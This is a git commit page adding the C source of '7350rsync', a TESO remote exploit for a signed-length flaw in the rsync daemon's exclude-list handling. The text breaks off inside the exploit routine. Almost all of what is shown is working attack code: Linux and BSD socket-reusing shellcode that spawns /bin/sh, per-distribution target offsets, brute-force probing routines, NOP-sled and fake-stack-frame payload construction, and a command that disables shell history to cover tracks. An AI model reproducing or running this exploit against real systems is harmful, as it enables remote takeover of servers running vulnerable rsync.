summaryrefslogtreecommitdiff
path: root/exploits/7350rsync
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /exploits/7350rsync
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'exploits/7350rsync')
-rw-r--r--exploits/7350rsync/7350rsync.c1256
1 files changed, 1256 insertions, 0 deletions
diff --git a/exploits/7350rsync/7350rsync.c b/exploits/7350rsync/7350rsync.c
new file mode 100644
index 0000000..8be5119
--- /dev/null
+++ b/exploits/7350rsync/7350rsync.c
@@ -0,0 +1,1256 @@
1/* 7350rack - x86/linux+others rsync remote exploit
2 *
3 * TESO CONFIDENTIAL - SOURCE MATERIALS
4 *
5 * This is unpublished proprietary source code of TESO Security.
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * TESO Security. This includes especially the Bugtraq mailing list, the
11 * www.hack.co.za website and any public exploit archive.
12 *
13 * The distribution restrictions cover the entire file, including this
14 * header notice. (This means, you are not allowed to reproduce the header).
15 *
16 * (C) COPYRIGHT TESO Security, 2002
17 * All Rights Reserved
18 *
19 * 20020120
20 * - Added some offsets
21 * - alignment not needed anymore
22 * - auto search for module
23 * - auto search for MAXPATHLEN (the overflow-alert
24 * function helps us here :>)
25 * - auto search for %ebp distance
26 *
27 * Compile:
28 * gcc -o 7350rsync 7350rsync.c
29 *
30 * Greetings: ..are for wimps
31 *
32 * Based on the code of 'dieanderenase' :>
33 * someone@segfault.net
34 */
35
36/* EXPLOIT INFORMATION:
37 *
38 * From a rsyncd.conf file:
39 *
40 * [ftp]
41 * gid = ftp
42 * use chroot = false
43 * transfer logging = true
44 * path=/home/ftp
45 *
46 * Following functions are involved:
47 *
48 * ... rsync_module() -> start_server() -> recv_exclude_list() [am_server=true]
49 *
50 * exclude.c:263
51 * void recv_exclude_list(int f)
52 * {
53 * char line[MAXPATHLEN];
54 * int l;
55 * while ((l=read_int(f))) {
56 * if (l >= MAXPATHLEN) overflow("recv_exclude_list");
57 * read_sbuf(f,line,l);
58 * add_exclude(line,0);
59 * }
60 * }
61 *
62 * 'l' is signed and we may send negative values. Deeper it reads:
63 *
64 * void read_sbuf(int f,char *buf,int len)
65 * {
66 * read_buf(f,buf,len);
67 * buf[len] = 0;
68 * }
69 *
70 * Where read_buf() returns without doing anything. It does not call read(2)
71 * so it does not crash but writes a 0-byte to buf[len].
72 * This is very similar to off-by-one, except we may also exploit big endian
73 * architecture. Stack is like:
74 *
75 * [ retaddr ]
76 * [ %ebp ] <- stackframe of recv_exclude_list
77 * [ line ] <- From here we may write 0's to stack
78 * [ l ]
79 * [ ... ] <- 3*4 bytes args to read_sbuf()
80 * [ retaddr ]
81 * [ %ebp ] <- stackframe in read_sbuf();, We try
82 * [ ... ] to overwrite LSB with line[-n];
83 * and make it point into *line.
84 *
85 * We now need to modify the last saved %ebp. We will actually shrink it,
86 * that is 0xbfabcdef becomes 0xbfabcd00 since we write a 0 to the last
87 * 8 bits. As a result, when read_sbuf() returns the %ebp points
88 * somewhere into line-buf. Upon return of recv_exclude_list() %ebp
89 * will be moved into %esp and *boom*, it uses a retaddr which we placed
90 * into 'line' buffer. You just have to find the adress to return to
91 * (somewhere into 'line') and the distance of 'line[0]' to the saved %ebp.
92 * We overwrite the ebp of read_sbuf.
93 *
94 */
95
96#include <stdio.h>
97#include <sys/types.h>
98#include <sys/socket.h>
99#include <sys/time.h>
100#include <sys/types.h>
101#include <netinet/in.h>
102#include <netinet/tcp.h>
103#include <arpa/inet.h>
104#include <netdb.h>
105#include <errno.h>
106#include <string.h>
107#include <ctype.h>
108#include <fcntl.h>
109#include <unistd.h>
110#include <stdlib.h>
111
112/* Who we are.
113 */
114const char *version_string = "@RSYNCD: 22\n";
115
116/*
117 * some usefull defines
118 */
119#define TEST_x86_SC(ptr) (*(int(*)())ptr)()
120#define ERREXIT(a...) do{fprintf(stderr, a);exit(-1);}while(0)
121#define PERREXIT(a...) do{fprintf(stderr, a);perror(" ");exit(-1);}while(0)
122#ifdef DEBUG
123# define DEBUGF(a...) do{fprintf(stderr, "%s:%d ", __FILE__, __LINE__);fprintf(stderr, a);}while(0)
124#else
125# define DEBUGF(a...)
126#endif
127
128#define CMD "unset HISTFILE;uname -a;w;\n"
129
130/*
131 * tcp-execve(/bin/sh) shellcode, 62 byte + 17 byte extra
132 * Works with inetd and direct tcp socket (if biggest).
133 * skyper / teso [thnx to lorian who made this 4 bytes shorter :>]
134 */
135char x86_lnx_tcpexec[] =
136 /*
137 * Findsocket shellcode. We start with fd = 0, next is 254 down
138 * to 1. This should work for inetd and normal daemons.
139 * 31 byte
140 */
141 "\x6a\x01" /* push $0x01 # socket_t must be <16 */
142 "\x5a" /* pop %edx # We set it to 0x01 */
143 /* We use the same register (start with 1) to */
144 /* count fd's from 0, 255..1 */
145 "\x52" /* push %edx */
146 "\x54" /* push %esp # socket_t * */
147 "\x54" /* push %esp # struct sockaddr * */
148
149 "\x52" /* push %edx # store fd value on stack */
150 /* The syscall modifes %edx but we must remember */
151 "\x89\xe1" /* mov %esp, %ecx # syscall arg. is pointer */
152 "\x6a\x07" /* push $0x07 # set %ebx to 0x07,needed */
153 "\x5b" /* pop %ebx # for getpeername() sysc. */
154
155 "\x5a" /* pop %edx # decrement fd in loop */
156
157 "\x85\xd2" /* test %edx, %edx # if 0 then reset to 0xff */
158 "\x75\x02" /* jne + 2 # This way we check fd 0 */
159 "\xb2\xff" /* movb %0xff, %dl # first (if inetd) */
160
161 "\x4a" /* dec %edx # and put it back into */
162 "\x52" /* push %edx # memory (we abuse stack) */
163
164 "\x6a\x66" /* push $0x66 # sycall nr. into %eax */
165 "\x58" /* pop %eax */
166 "\xcd\x80" /* int $0x80 # syscall! */
167 "\x85\xc0" /* test %eax, %eax # check return value */
168 "\x75\xeb" /* jne <-21> # repeat if failed */
169 "\x5b" /* pop %ebx # store net. fd in %ebx */
170
171 /* We assume the syscall succeeded and %eax is 0x00 */
172
173 /*
174 * dub2(2..0, fd) shellcode.
175 * assumed fd is in %ebx and %eax is 0x00.
176 * 10 bytes
177 */
178 "\x6a\x02" /* push $0x02 # dup from fd=2..0 */
179 "\x59" /* pop $ecx */
180 "\xb0\x3f" /* movb $0x3f, %al # syscall nr. for dup() */
181 "\xcd\x80" /* int $0x80 */
182 "\x49" /* dec %ecx */
183 "\x79\xf9" /* jns -7 */
184
185 /* We assume that the syscall succeeded and %eax is 0x00 */
186
187 /*
188 * normal execve(/bin/sh) shellcode. %eax MUST be 0!
189 * 21 bytes.
190 * attention: To make this shellcode 0-free push %eax and use
191 * "//bin/sh" instead of "/bin/sh\0".
192 */
193 "\x68""/sh\0" /* pushl $0x0068732f # put "/bin/sh\0" on stack */
194 "\x68""/bin" /* pushl $0x6e69622f */
195 "\x89\xe3" /* movl %esp, %ebx # %ebx holds name[0] */
196 /* # first arguement to execve() suscall */
197 "\x50" /* pushl %eax # ptr to NULL on stack */
198 "\x53" /* pushl %ebx # &name[0] on stack */
199 "\x89\xe1" /* %movl %esp, %ecx # ptr to &name[0] in %ecx */
200 /* # 2nd arg. to execve() */
201 "\x99" /* set %edx to $0x0, 3rd arg. to execve() */
202 "\xb0\x0b" /* movb $0x0b, %al # syscall nr. for execve() */
203 "\xcd\x80" /* int $0x80 # linux syscall intr. */
204
205 /*
206 * EXTRA, not needed. We output "CHR\n" if execve failed.
207 * This means we are chrooted and may upload an egg.
208 * 17b
209 */
210 "\x6a\x04" /* push $0x04 # number of write syscall */
211 "\x58" /* pop %eax # saved in %eax */
212 "\x6a\x01" /* push $0x01 # fd=1, we dup2'ed it! */
213 "\x5b" /* pop %ebx */
214 "\x68""CHR\n" /* push $0xa524843 # Our string we output */
215 "\x89\xe1" /* mov %esp, %ecx # pointer to "CHR\n" */
216 "\x89\xc2" /* mov %eax, %edx # we write 4 byte to fd=1 */
217 "\xcd\x80" /* int $0x80 */
218 ;
219
220
221/*
222 * *BSD findsocket/dup/execve(/bin/sh) shellcode. 58 bytes + EXTRA
223 * Good parts ripped from LSD shellcode, this one is smaller.
224 * skyper / teso
225 */
226char x86_bsd_tcpexec[] =
227 /*
228 * sycall parameters are passed on the stack, last argument
229 * is pushed first. ESP points to the last _used_ element
230 * on the stack.
231 */
232
233 /*
234 * findsocket shellcode
235 * 26 bytes
236 * Stackabuse: 12bytes (peak=20bytes)
237 * (this means we must have +rw on %esp-20, which is
238 * true for rsync)
239 */
240 "\x6a\x01" /* push $0x01 # socklen_t */
241 "\x54" /* push %esp # ptr to our 0x01 */
242 "\x54" /* push %esp # storage for &addr */
243 "\x31\xc9" /* xorl %ecx, %ecx */
244
245 "\xb1\x01" /* movb $0x01, %cl */
246
247
248 "\x49" /* dec %ecx */
249 "\x79\x03" /* jns +3 # jump if not signed */
250 "\x41" /* inc %ecx # ecx:=0, before == -1 */
251 "\xb1\xff" /* movb $0xff, %cl */
252
253
254 "\x51" /* pushl %ecx # fd for getpeername() */
255 "\x6a\x1f" /* push $0x1f */
256 "\x58" /* pop %eax */
257 "\x51" /* pushl %ecx */
258 "\xcd\x80" /* int $0x80 */
259 "\x59" /* pop %ecx */
260 "\x59" /* pop %ecx # until we have our fd */
261 "\x85\xc0" /* test %eax, %eax */
262 "\x75\xed" /* jne -nn */
263 "\x89\xcb" /* mov %ecx,%ebx */
264
265 /* We assume fd in %ebx */
266 /* We assume %eax&0xffffff00 == 0 */
267
268 /*
269 * ok, we can use above shellcode as stack if we are
270 * somewhere near the page border (just in case).
271 * Let's say, 24bytes ought to be enough for everyone
272 */
273 "\x83\xc4\x18" /* add $0x18, %esp # fix stackabuse */
274
275 /*
276 * dup fd starting from fd down to 0 with fd itsself.
277 * 15 bytes
278 * Stackabuse: 12bytes
279 */
280 "\xb1\x02" /* movb $0x02, %cl */
281 "\x51" /* pushl %ecx */
282 "\x53" /* pushl %ebx */
283 "\x50" /* pushl %eax */
284 "\xb0\x5a" /* movb $0x5a, %al */
285 "\xcd\x80" /* int $0x80 */
286 "\x49" /* dec %ecx */
287 "\x79\xf6" /* jns -10 # jump not signed */
288
289 "\x83\xc4\x0c" /* add $0x0c, %esp # fix stackabuse */
290 /*
291 * execve(/bin/sh\0) shellcode.
292 * Requirement %eax&0xffffff00 = 0
293 * 20 bytes
294 * Stackabuse: 16bytes
295 */
296 "\x68""/sh\0"
297 "\x68""/bin"
298 "\x89\xe3" /* mov %esp,%ebx */
299 "\x50" /* pushl %eax */
300 "\x54" /* pushl %esp */
301 "\x53" /* pushl %ebx */
302 "\x50" /* pushl %eax */
303 "\xb0\x3b" /* movb $0x3b, %al */
304 "\xcd\x80" /* int $0x80 */
305
306 "\x83\xc4\x10" /* add $0x10, %esp # fix stackabuse */
307 /*
308 * EXTRA to detect failed execve(), output CHR\n
309 * 17 bytes
310 * Stackabuse: 20bytes
311 */
312 "\x68""CHR\n" /* pushl CHR\n */
313 "\x89\xe3" /* mov %esp, %ebx */
314 "\x6a\x04" /* push $0x04 */
315 "\x58" /* pop %eax */
316 "\x50" /* pushl %eax */
317 "\x53" /* pushl %ebx */
318 "\x6a\x01" /* push %0x01 # stdout */
319 "\x50" /* pushl %eax */
320 "\xcd\x80" /* guess... */
321 ;
322
323
324typedef struct {
325 char *dist;
326 char *package;
327 unsigned char *code;
328 int codesz;
329
330 int maxpath; /* value of PATH_MAX-1 on target system */
331 int ebp_dist; /* distance of saved %ebp to line[] */
332 int b_start; /* startaddress for bruteforce */
333 int b_end; /* endaddress for bruteforce */
334} tgt_type;
335
336tgt_type targets[] = {
337 { "SuSE-7.1", "rsync-2.4.6 protocol 24", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec),4095, -48, 0xbfffffcc, 0xbfff0000},
338 { "SuSE-7.3", "rsync-2.4.6-153", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec), 4095, -48, 0xbfffffcc, 0xbfff0000},
339 { "Suse 4.4", "rsync-2.2.1", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec), 4095, -7, 0xbfffffcc, 0xbfff0000},
340 { "Mandrake 8.1", "rsync-2.4.6 protocol 24", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec), 4095, -40, 0xbfffffcc, 0xbfff0000},
341 { "RH 6.2 (Zoot)", "rsync-2.4.1 protocol 24", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec), 4095, -32, 0xbfffffcc, 0xbfff0000},
342 { "FreeBSD-4.3 x86", "rsync-2.4.6-2", x86_bsd_tcpexec, sizeof(x86_bsd_tcpexec), 1024, -48, 0xbfbfffff, 0xbfbf0000},
343 { "TheoBSD-2.9 x86", "rsync version 2.4.6 protocol 24", x86_bsd_tcpexec, sizeof(x86_bsd_tcpexec), 1024, -48, 0xdfbfd3dc, 0xdfbf0000},
344 { "NetBSD x86 generic", "rsync", x86_bsd_tcpexec, sizeof(x86_bsd_tcpexec), 0, 0, 0xbfbfd600, 0xbfb00000},
345 { "FreeBSD x86 genwric", "rsync", x86_bsd_tcpexec, sizeof(x86_bsd_tcpexec), 0, 0, 0xbfbfd600, 0xbfb00000},
346 { "TheoBSD x86 genwric", "rsync", x86_bsd_tcpexec, sizeof(x86_bsd_tcpexec), 0, 0, 0xdfbfd600, 0xdfb00000},
347 { "Linux x86 generic", "rsync", x86_lnx_tcpexec, sizeof(x86_lnx_tcpexec), 0, 0, 0xbffffffc, 0xbff00000},
348 { NULL, NULL, NULL, 0, 0, 0, 0}
349};
350
351char debug;
352int timeout = 4;
353int write_sec(int fd, char *buf, int len);
354
355
356void
357show_targets(void)
358{
359 int i;
360
361 for (i = 0; targets[i].dist; ++i)
362 printf("%d: %s %s\n", i+1, targets[i].dist, targets[i].package);
363
364 return;
365}
366
367
368void
369die(const char *s)
370{
371 perror(s);
372 exit(errno);
373}
374
375
376void
377usage(void)
378{
379 printf("7350rsync - remote rsync vulnerability v0.4g\n");
380 printf("usage: 7350rack [-hld] <-T sec> <-D num> <-P num> <-m module> <-t target>\n\thost\n\n");
381
382 printf(""
383 "-d debug mode\n"
384 "-h his help\n"
385 "-p port Portnumber (default = 873)"
386 "-T sec timeout valie (default = %d)\n"
387 "-P num assume MAXPATHLEN = num (0 = AUTO)\n"
388 "-D num &line[0] - ebp distance (0 = AUTO)\n"
389 "-m name use this module\n"
390 "-t num choose target (0 for list\n"
391 "$ ./7350rack -D 0 -T 0 127.0.0.1 # check if vulnerable\n"
392 "$ ./7350rack -t 4 127.0.0.1 # exploit target\n"
393 "$ ./7350rack -t 1 -D 0 -P 0 127.0.0.1 # brute exploit\n"
394 , timeout);
395
396 exit(1);
397}
398
399
400/* Simple tcp_connect(). Disables Nagle.
401 * ip and port are already in NBO.
402 */
403int
404tcp_connect(unsigned long ip, u_short port)
405{
406 int sock, one = 1, len = sizeof(one);
407 struct sockaddr_in sin;
408
409 if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
410 die("sock");
411
412 memset(&sin, 0, sizeof(sin));
413 sin.sin_addr.s_addr = ip;
414 sin.sin_family = AF_INET;
415 sin.sin_port = port;
416
417 if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0)
418 return -1;
419
420 if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, len) < 0)
421 die("setsockopt");
422
423 return sock;
424}
425
426
427
428/*
429 * Read input until \n or eof
430 * The \n is not stored in the buffer!
431 * The buffer is always \0 terminated.
432 */
433int
434readln(int fd, char *buf, size_t size)
435{
436 int i = 0;
437 char c;
438
439 if (size == 0)
440 return 0;
441
442 while (i < size - 1)
443 {
444 if (read(fd, &c, 1) != 1)
445 {
446 if (i == 0)
447 return -1;
448 break;
449 }
450 if (c == '\n')
451 break;
452 buf[i++] = c;
453 }
454
455 buf[i] = '\0';
456
457 return i;
458}
459
460/* Find a valid module we can use.
461 * Version for later extensions.
462 * Return the first module in the list.
463 */
464char*
465rsync_find_module(int fd)
466{
467 char rcv_buf[8192];
468 char *ptr;
469 char *module = NULL;
470
471 /*
472 * Version banner.
473 */
474 readln(fd, rcv_buf, sizeof(rcv_buf));
475 write(fd, version_string, strlen(version_string));
476 write(fd, "#list\n", 6);
477
478 while(readln(fd, rcv_buf, sizeof(rcv_buf)) >= 0)
479 {
480 printf("%s\n", rcv_buf);
481
482 /* Module must start with [A-Za-z] */
483 if ((rcv_buf[0] > 'z') || (rcv_buf[0] < 'A'))
484 continue;
485 if ((rcv_buf[0] < 'a') && (rcv_buf[0] > 'Z'))
486 continue;
487
488 if ( (ptr = strchr(rcv_buf, ' ')) != NULL)
489 {
490 if (strstr(rcv_buf, " ") == NULL)
491 continue;
492 *ptr = '\0';
493 } else {
494 if (strlen(rcv_buf) > 16)
495 continue;
496 }
497
498 if (module == NULL)
499 {
500 module = calloc(1, 32);
501 snprintf(module, 32, "%s", rcv_buf);
502 }
503 }
504
505 return module;
506}
507
508int
509read_int(int fd, char *buf)
510{
511 char left = 0;
512 int ret;
513
514 while (left < 4)
515 {
516 ret = read(fd, buf+left, 4-left);
517 if (ret <= 0)
518 return -1;
519 left += ret;
520 }
521 return left;
522}
523
524int
525rsync_handshake(int peer, char *mod)
526{
527 char buf[8192] = "";
528
529 /*
530 * Read in banner...
531 */
532 while (readln(peer, buf, sizeof(buf)) >= 0)
533 if (buf[0] == '@')
534 break;
535
536 snprintf(buf, sizeof(buf), "@RSYNCD: 24\n%s\n--server\n--daemon\n--sender\n\n", mod);
537 write(peer, buf, strlen(buf));
538 /* Wait until all the MOTD crap has arrived */
539
540 while(readln(peer, buf, sizeof(buf)) >= 0)
541 if (buf[0] == '@')
542 break;
543
544 if (strncmp(buf, "@RSYNCD:", 8) != 0)
545 {
546 printf("FAILED: %s\n", buf);
547 return -1;
548 }
549 /* read integer value (whatever it is */
550 if (read_int(peer, buf) != 4)
551 return -1;
552
553 return 0;
554}
555
556/*
557 * Establish tcp connection and wait until we have a clean line
558 * Return connection/handshaked fd.
559 */
560int
561tcp_rsync_handshake(unsigned long ip, unsigned short port, char *mod)
562{
563 int peer;
564
565 if ( (peer = tcp_connect(ip, port)) < 0)
566 die("tcp_connect");
567
568 while(rsync_handshake(peer, mod) != 0)
569 {
570 shutdown(peer, 2);
571 close(peer);
572 sleep(5);
573 peer = tcp_connect(ip, port);
574 }
575
576 return peer;
577}
578
579
580/*
581 * Brainstorming idea by stealth, thnx.
582 *
583 * find the distance between line[0] and ebp.
584 * We could calculate this:
585 * in recv_exclude_list() local variable 'int l' (+4 bytes),
586 * 3*4 parameters to read_sbuf (+12 bytes), the saved return
587 * address (+4 bytes) * and the least significant byte of
588 * ebp (+3 byte) and +1 byte from line[0].
589 * Makes: 4+12+4+3+1 = 24 bytes.
590 * Well, this works if you compile rsync on ur own
591 * without any funky compiling options. Distributions
592 * use 'non-default' options, cache-alingment, ...
593 */
594#define START_DIST (-17)
595int
596rsync_find_distance(unsigned long ip, unsigned short port, char *mod)
597{
598 int peer;
599 long l;
600 char buf[512];
601 int ret;
602 fd_set rfds;
603 struct timeval tv;
604 char *ptr;
605
606 printf("[0x000] checking distance &line[0] -> sfp, linear, 4B steps\n");
607 if ( (peer = tcp_rsync_handshake(ip, port, mod)) <= 0)
608 die("tcp_rsync_handshake");
609
610 /*
611 * We dec. by 4 until we overwrite the MSB of saved ret.
612 * We can step by 4 bytes because saved ret is aligned to
613 * a 4 byte boundary on the stack.
614 */
615 for (l = START_DIST; l > -255; l -=4)
616 {
617
618 write(0, ".", 1);
619 write(peer, &l, sizeof(l));
620
621restart:
622 FD_ZERO(&rfds);
623 FD_SET(peer, &rfds);
624 tv.tv_sec = timeout;
625 if (l == -255)
626 tv.tv_sec += 4; /* Wait at least 4 seconds on last packet */
627 tv.tv_usec = 1000*100; /* +100ms at least, if timeout == */
628 ret = select(peer + 1, &rfds, NULL, NULL, &tv);
629 if (ret == -1)
630 die("select");
631
632 /* Timeout */
633 if (ret == 0)
634 continue;
635
636 if (!FD_ISSET(peer, &rfds))
637 goto restart;
638
639 ret = read(peer, buf, sizeof(buf));
640 /* read error means peer closed connection...segfault */
641 if (ret <= 0)
642 break;
643
644 write_sec(0, buf, ret);
645 ptr = memchr(buf, 'E', ret);
646 if ( (ptr != NULL) && (strncmp(ptr, "ERROR:", 6) == 0))
647 {
648 printf("BUG FIXED. OH NO!\n");
649 return 0;
650 }
651 /*
652 * If we are here we received garbage :/
653 * FIXME: if somethign to read, discard it. read crap/motd/blah
654 */
655 }
656
657 if (l == -255)
658 die("not vulnerable?\n");
659
660 /*
661 * We segfault if we hit the saved return addr of read_sbuf().
662 * The sfp is 7 bytes from here (3 byte more ret, 4 bytes sfp
663 * until we hit LSB of sfp
664 */
665 if (l == START_DIST)
666 printf("peer died after FIRST wrong value, fixed?\n");
667 else
668 printf("\nFOUND (vulnerable) -> it's %li\n", l - 7);
669
670 l -= 7;
671 shutdown(peer, 2);
672 close(peer);
673
674 return l;
675}
676
677
678/*
679 * calculate next pivot element between
680 * left..right but near 2^n-1.
681 */
682int
683calc_pivot(int left, int right)
684{
685 unsigned long bitmask = -1;
686 int maxpath = left + (right - left)/2;
687
688 while (bitmask & maxpath)
689 bitmask <<= 0x01;
690 /* this value is a little bit smaller than maxpath */
691 if (left < (maxpath & (bitmask >> 1)) - 1)
692 return (maxpath & (bitmask >> 1)) - 1;
693
694 /*
695 * There is no 2^n value between left ... maxpath.
696 * Lets find one between maxpath ... right
697 */
698 if (right > (bitmask ^ (bitmask << 1)) - 1)
699 return (bitmask ^ (bitmask << 1)) - 1;
700
701 return maxpath;
702}
703
704/*
705 * TEST function to verify if calc_pivot
706 * works correctly.
707 */
708void
709train_pivot(int hit, int left, int right)
710{
711 int pivot;
712
713 printf("searching for %d in %d..%d\n", hit, left, right);
714 while((hit != left) && (hit != right))
715 {
716 pivot = calc_pivot(left, right);
717 printf("pivot: %d\n", pivot);
718 if (pivot > hit)
719 right = pivot;
720 else
721 left = pivot;
722 }
723}
724
725/*
726 * Return MAXPATHLEN-1 of the remote
727 */
728#define MAX_RIGHT (8192*2)
729int
730rsync_find_maxpathlen(unsigned long ip, unsigned short port, char *mod)
731{
732 int maxpath = 4096 - 1;
733 int try = maxpath;
734 char buf[512] = "";
735 int peer;
736 int ret;
737 fd_set rfds;
738 struct timeval tv;
739 int count = 0;
740 int left = 0, right = MAX_RIGHT;
741 char dummy[right];
742
743
744 memset(dummy, 0x73, sizeof(dummy));
745
746 printf("[0x%3.3x] checking whether MAXPATHLEN is %d... ", ++count, try + 1);
747 peer = tcp_rsync_handshake(ip, port, mod);
748 write(peer, &try, sizeof(try));
749
750 /*
751 * Wait 4 seconds if remote closed connection or assume
752 * that maxpathlen was not large enough.
753 */
754 while(right - left > 1)
755 {
756 FD_ZERO(&rfds);
757 FD_SET(peer, &rfds);
758 tv.tv_sec = timeout;
759
760 ret = select(peer + 1, &rfds, NULL, NULL, &tv);
761 if (ret == -1)
762 die("select");
763
764 /*
765 * Timeout, fd is still open, lets reuse..
766 */
767 if (ret == 0)
768 {
769 /*
770 * We have an exact match.
771 */
772 if (try+1 == maxpath)
773 break;
774
775 printf("it's bigger\n");
776 /*
777 * 4k is big enough..
778 */
779 if (try >= MAX_RIGHT)
780 break;
781 write(peer, dummy, try);
782 left = try;
783 /*
784 * We failed with maxpath, but succeeded with try.
785 */
786 if (try < maxpath)
787 break;
788
789 maxpath = calc_pivot(left, right);
790 try = maxpath;
791
792 /*
793 * We run out of right border, must be very bif
794 */
795 if (try > right)
796 break;
797
798 printf("[0x%3.3x] checking whether MAXPATHLEN is %d... ", ++count, try + 1);
799 write(peer, &try, sizeof(try));
800
801 continue;
802 }
803
804 /*
805 * Sometine ready for reading. Can be read-error
806 * or real data.
807 */
808 if (!FD_ISSET(peer, &rfds))
809 continue;
810 /*
811 * As long as there is really legit data
812 * empty the buffer.
813 * We also read here
814 * "ERROR: buffer overflow in recv_exclude_list\n"
815 * but ignore it and wait until read returns <0.
816 * (2BC)
817 */
818 if ( (ret = read(peer, buf, sizeof(buf))) > 0)
819 continue;
820
821 /*
822 * Stop if we nearly have the distance. +-8 doesnt matter.
823 */
824 if (try <= left+8)
825 {
826 printf("This is near enough.\n");
827 try = left;
828 break;
829 }
830 /* read returned 0 or -1 (e.g. remote closed connection) */
831 printf("it's smaller\n");
832 right = try;
833 /* reestablish connection/handshake */
834 shutdown(peer, 2);
835 close(peer);
836 peer = tcp_rsync_handshake(ip, port, mod);
837
838 /*
839 * Most unix have MAXPATHLEN defined as x^n - 1,
840 * check for this (this speeds up the searc).
841 * We substituate 2 because rsync checks for >= MAXPATHLEN.
842 */
843 if (maxpath == try)
844 {
845 try--;
846 } else {
847 maxpath = calc_pivot(left, right);
848 try = maxpath;
849 }
850
851 printf("[0x%3.3x] checking whether MAXPATHLEN is %d... ", ++count, try + 1);
852 write(peer, &try, sizeof(try));
853
854 } /* eo while(1) */
855
856 shutdown(peer, 2);
857 close(peer);
858 printf("Will use %d!\n", try + 1);
859
860 return try+1;
861}
862
863
864/*
865 * Return 0 on timeout, -1 on read error or EOF
866 */
867int
868read_t(int fd, char *buf, unsigned int size, int sec)
869{
870 fd_set rfds;
871 int ret;
872 struct timeval tv;
873
874 while(1)
875 {
876 FD_ZERO(&rfds);
877 FD_SET(fd, &rfds);
878 tv.tv_sec = sec;
879
880 /*
881 * Return 0 on timeout.
882 */
883 if ( (ret = select(fd + 1, &rfds, NULL, NULL, &tv)) == 0)
884 return 0;
885
886 if (ret < 0)
887 {
888 if (errno != EINTR)
889 return -1;
890 continue;
891 }
892
893 if (!FD_ISSET(fd, &rfds))
894 continue;
895
896 ret = read(fd, buf, size);
897 if (ret == 0)
898 return -1;
899
900 /* ret is -1 or a valid len */
901 break;
902 }
903
904 return ret;
905}
906
907/*
908 * secure otuput. bahah. this is super slow :>
909 */
910int
911write_sec(int fd, char *buf, int len)
912{
913 char b2[len];
914 int i;
915
916 for (i = 0; i < len; i++)
917 if (isprint(buf[i]))
918 b2[i] = buf[i];
919 else
920 b2[i] = '.';
921
922 return write(fd, b2, len);
923}
924
925/* Construct and send the evil packets.
926 * Return socket descriptor to remote shell or -1
927 * if not able to exploit.
928 */
929int rsync_exploit(unsigned long ip, u_short port, char *mod, int version, int ti)
930{
931 int l = 0, j = 0, dec;
932 char buf[5000];
933 unsigned int *ret, i;
934 int fd;
935 int fakeframe; /* where fakeframe starts from buf[0] */
936 int count = 0;
937
938 printf("Using %s (%s), dist: %d\n", targets[ti].dist, targets[ti].package, targets[ti].ebp_dist);
939
940 /*
941 * fakeframe is the distance between buf and the start of the first
942 * fake frames
943 */
944 fakeframe = (targets[ti].maxpath-1-248)&~3;
945 /* see below why 62 fake stackframes are enough */
946 /* -1 because rsync checks for >= and noth just > */
947
948 /*
949 * When bruteforcing we may decrement retaddr by nopspace.
950 */
951 dec = fakeframe - targets[ti].codesz - 8;
952 /*
953 * - 8 bytes free: saved return address and ebp are the same
954 * after we returned from read_sbuf (read above: each fake
955 * stack frame is just 32bit in size). This means
956 * ebp in recv_exclude_list points also somewhere in the nops
957 * and in the worst case at the first nop. recv_exclude_list
958 * needs 8 byte of local variables.
959 */
960
961
962 for (i = targets[ti].b_start; i >= targets[ti].b_end; i -= dec) {
963 fd = tcp_rsync_handshake(ip, port, mod);
964
965 if (fd < 0)
966 die("connect");
967
968 if (debug)
969 {
970 fprintf(stderr, "DEBUG: connected, press enter\n");
971 fgets(buf, sizeof(buf), stdin);
972 }
973
974 /*
975 * The fake frame must be aligned to a 4 byte bundary.
976 * We create it aligned in the exploit and it WILL be
977 * aligned on the target (because line[] in recv_exclude_list
978 * is also aligned to 4 byte
979 * Our exploit buffer looks like this:
980 * <pad | 64xfake frame | shellcode | nops>
981 * - pad is between 0..3 so that all fake frames are
982 * aligned to 4 bytes.
983 * - 64 times a fake frame each 1 byte in size (just the
984 * return address to our shellcode).
985 * Each stack frame overlaps it's saved return (fake) with
986 * the previous fake stack frame. The ebp we are going
987 * to overwrite will point exactly to one of these frames. (and
988 * will use this value as new ebp and the one before as saved
989 * return address).
990 * - shellcode & nop's are obvious!
991 */
992 /* shellcode with NOPs */
993 memset(buf, 0, sizeof(buf));
994 memset(buf, 0x90, targets[ti].maxpath-1);
995 memcpy(&buf[fakeframe - targets[ti].codesz],
996 targets[ti].code,
997 targets[ti].codesz);
998
999 printf("[0x%3.3x] checking whether the shellcode is at 0x%8.8x->+0x%x... ", ++count, i, dec);
1000 /* Write return-adresses 256/4 times (0xff set to 0
1001 * makes at most around 256 byte that %ebp can
1002 * shrink */
1003 ret = (unsigned int*)&buf[fakeframe];
1004
1005 /*
1006 * Lets put 62 overlapping fake frames into our buffer.
1007 * Why not 64? The worst case would be when saved ebp in
1008 * read_sbuf already points to 0xbfffnn.nn00. We would
1009 * not change anything. If it would point to
1010 * 0xbfffnn.nn04 we could make the saved ebp in read_sbuf
1011 * point to the last fake stackframe in len. The saved
1012 * return would be stored at saved ebp+4, which we do
1013 * not control. Makes 2 less stackframes. Probably
1014 * one more because MAXPATHLEN % 4 != 0 and we have
1015 * some (<4) padding bytes on the stack.
1016 */
1017
1018 for (j = 0; j < 248/4; ++j)
1019 ret[j] = i;
1020
1021 /*
1022 * Tell remote how many bytes we are about to write
1023 * and write fake ebp+shellcode+nop buffer.
1024 */
1025 l = targets[ti].maxpath-1;
1026 write(fd, &l, sizeof(l));
1027 write(fd, buf, l);
1028
1029 l = targets[ti].ebp_dist;
1030 write(fd, &l, sizeof(l));
1031 l = 0;
1032 write(fd, &l, sizeof(l));
